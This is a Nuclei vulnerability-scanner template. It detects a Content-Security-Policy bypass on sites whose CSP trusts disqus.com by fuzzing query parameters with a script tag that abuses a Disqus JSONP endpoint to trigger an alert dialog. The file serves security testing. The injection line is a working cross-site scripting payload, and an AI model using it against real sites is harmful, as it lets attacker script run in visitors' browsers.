disqus-links-csp-bypass: Content-Security-Policy Bypass - Disqus Links

id: disqus-links-csp-bypass

info:
  name: Content-Security-Policy Bypass - Disqus Links
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,disqus-links,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "disqus.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: disqus_links_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://links.services.disqus.com/api/ping?format=jsonp&key=cfdfcf52dffd0a702a61bad27507376d&loc=http%3A%2F%2Fabcnews.go.com%2Fblogs%2Fhealth%2F2013%2F03%2F21%2F1-in-10-u-s-deaths-blamed-on-salt%2F&subId=2329827&v=1&jsonp=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "disqus_links_csp_xss == true"
# digest: 4a0a004730450220663bb3bfa4d1f2e4d553102073f0186b50505ee874ea8e062a6a9399c19271a1022100cda2bb5d40c533038021e523cf54f39d5c8f99a9aecbc1ba66910b12d7078e78:922c64590222798bb761d5b6d8e72950